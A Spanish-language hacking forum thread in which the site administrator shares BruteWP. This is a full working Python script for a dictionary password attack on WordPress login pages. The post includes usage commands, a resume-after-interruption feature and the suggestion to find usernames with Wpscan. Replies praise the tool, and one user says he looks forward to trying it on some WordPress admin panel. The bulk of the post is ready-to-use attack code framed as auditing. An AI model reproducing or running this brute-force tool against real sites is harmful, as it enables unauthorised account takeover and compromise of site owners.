comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Wordpress Brute Force

  • 4 Respuestas
  • 3489 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5401
  • Actividad:
    30%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Agosto 25, 2015, 03:03:19 pm »

Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.

Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress

Forma de uso:

Código: Bash
  1. ./BruteWP.py -h
  2.  
  3. ./BruteWP.py -t [target] -u [user] -w [wordlist] -r [restaurar ataque]


Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : No tienes permisos para ver links. Registrate o Entra con tu cuenta, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.

El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.

Código: Python
  1. #!/usr/bin/python
  2. #-*- coding:UTF-8 -*-
  3. import argparse
  4. import httplib
  5. import urllib
  6. import socket
  7. import time
  8.  
  9. def attack(target,user,wordlist, restore = None):
  10.     i= target.find("/")
  11.     site = target[:i]
  12.     post = target[i:]
  13.     iteracion = open('iteracion.txt','a+')
  14.     wordlist = open(wordlist, 'r+')
  15.     it = iteracion.readlines()
  16.     if len(it) == 0:
  17.         iteracion.write("1\n")
  18.         iteracion.close()
  19.         iteracion = open('iteracion.txt','r+')
  20.         it = iteracion.readlines()
  21.     it2= int(str(it[len(it)-1]).strip())
  22.     aux = wordlist.readlines()
  23.     test = aux[it2-1:]
  24.     cont = it2
  25.     if restore:
  26.                 print "Restaurando ataque...\n"
  27.     else:
  28.         test = aux
  29.         cont=1
  30.         iteracion = open('iteracion.txt','w+')
  31.     for password in test:
  32.         try:
  33.             cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
  34.             parametros = urllib.urlencode({'log': user,'pwd':password.strip()})
  35.             abrir_conexion = httplib.HTTPConnection(site)
  36.             abrir_conexion.request("POST", post, parametros, cabeceras)
  37.             respuesta = abrir_conexion.getresponse()
  38.             if respuesta.status == 302 or respuesta.status == 303:
  39.                 print '%d- Password: %s FOUND!!!' %(cont,password.strip())
  40.                 break
  41.             elif respuesta.status == 200:
  42.                 print '%d- Password: %s Not found!!!' %(cont,password.strip())
  43.             else:
  44.                 print 'ERROR!!!!'
  45.             cont+=1
  46.             abrir_conexion.close()
  47.         except KeyboardInterrupt:
  48.             print '\n[*]Ejecución terminada por el teclado[*]'
  49.             print '[*]Status saved![*]'
  50.             iteracion.write(str(cont)+"\n")
  51.             break
  52.         except (socket.gaierror, socket.error,httplib.BadStatusLine):
  53.             print '[*]Status saved![*]'
  54.             iteracion.write(str(cont)+'\n')
  55.             time.sleep(5)
  56.             continue
  57.  
  58.  
  59. def conexion():
  60.     parser = argparse.ArgumentParser(usage="./BruteWP.py -t [target] -u [user] -w [wordlist]")
  61.     parser.add_argument("-t", help="Target a atacar. ejemplo: www.sitewordpress/wp-login.php")
  62.     parser.add_argument("-u", help="Nombre de usuario de WordPress")
  63.     parser.add_argument("-w", help="Diccionario para realizar el ataque")
  64.     parser.add_argument("-r", action="store_true", help="Restaura la última sesión del ataque")
  65.     args = parser.parse_args()
  66.    
  67.     print """
  68. ____             _     __        ______  
  69. | __ ) _ __ _   _| |_ __\ \     / /  _ \
  70. |  _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
  71. | |_) | |  | |_| | ||  __/\ V  V / |  __/
  72. |____/|_|   \__,_|\__\___| \_/\_/  |_|    
  73.                                        v 1.1 @Samuel.E
  74.    """
  75.     if args.u != None and args.w != None and args.t != None and args.r:
  76.         attack(args.t,args.u,args.w, True)
  77.     elif args.u != None and args.w != None and args.t != None:
  78.         attack(args.t,args.u,args.w)
  79.     else:
  80.         parser.print_help()
  81.    
  82.  
  83.  
  84. if __name__ == '__main__':
  85.     conexion()

Repo: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Saludos!
ANTRAX


Conectado DeBobiPro

  • *
  • Underc0der
  • Mensajes: 211
  • Actividad:
    3.33%
  • Reputación 2
  • Como no sabía que era imposible, lo hice.
    • Ver Perfil
« Respuesta #1 en: Agosto 25, 2015, 03:34:19 pm »
Interesante !!

Muchas gracias @No tienes permisos para ver links. Registrate o Entra con tu cuenta !
Nivel 77 No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado zoro248

  • *
  • Underc0der
  • Mensajes: 242
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #2 en: Agosto 25, 2015, 05:21:18 pm »
En el caso de la pausa por primera vez, como se realiza? para que pueda ser restaurado sin problemas [se me ocurre Ctrl + c]


Saludos!

Desconectado Alvares97

  • *
  • Underc0der
  • Mensajes: 68
  • Actividad:
    0%
  • Reputación 0
  • Todo es tan Dificil antes de ser sencillo
    • Ver Perfil
    • Playa de bits
    • Email
« Respuesta #3 en: Agosto 27, 2015, 03:59:29 pm »
Muy interesante esta Herramienta  :)
esta permitido caerse pero levantarse es obligatorio

Desconectado Payasako

  • *
  • Underc0der
  • Mensajes: 86
  • Actividad:
    0%
  • Reputación 0
  • Éxito o fracaso, libertad o condena.
    • Ver Perfil
  • Skype: -
  • Twitter: @Payasak0
« Respuesta #4 en: Septiembre 03, 2015, 02:28:31 pm »
Pedazo de tool, será un placer probarla contra algún panel de administración de WordPress.  Muy grande, @No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



WordPress Viral Optins Plugins - Arbitrary File Upload Vulnerability

Iniciado por ZanGetsu

Respuestas: 0
Vistas: 1681
Último mensaje Junio 23, 2017, 04:46:12 pm
por ZanGetsu
WPScan Wordpress Security - Vulnerability Scanning

Iniciado por Pr0ph3t

Respuestas: 1
Vistas: 2613
Último mensaje Junio 08, 2012, 01:24:55 pm
por CalebBucker
Wordpress WPTouch Authenticated File Upload

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 2185
Último mensaje Septiembre 01, 2014, 08:41:26 am
por ANTRAX
Pruebas de vulnerabilidad de WordPress con Nmap

Iniciado por puntoCL

Respuestas: 0
Vistas: 278
Último mensaje Noviembre 11, 2018, 11:25:17 pm
por puntoCL
Análizando servidores web de Joomla y Wordpress

Iniciado por M5f3r0

Respuestas: 4
Vistas: 3251
Último mensaje Agosto 19, 2013, 07:38:13 pm
por Alvares97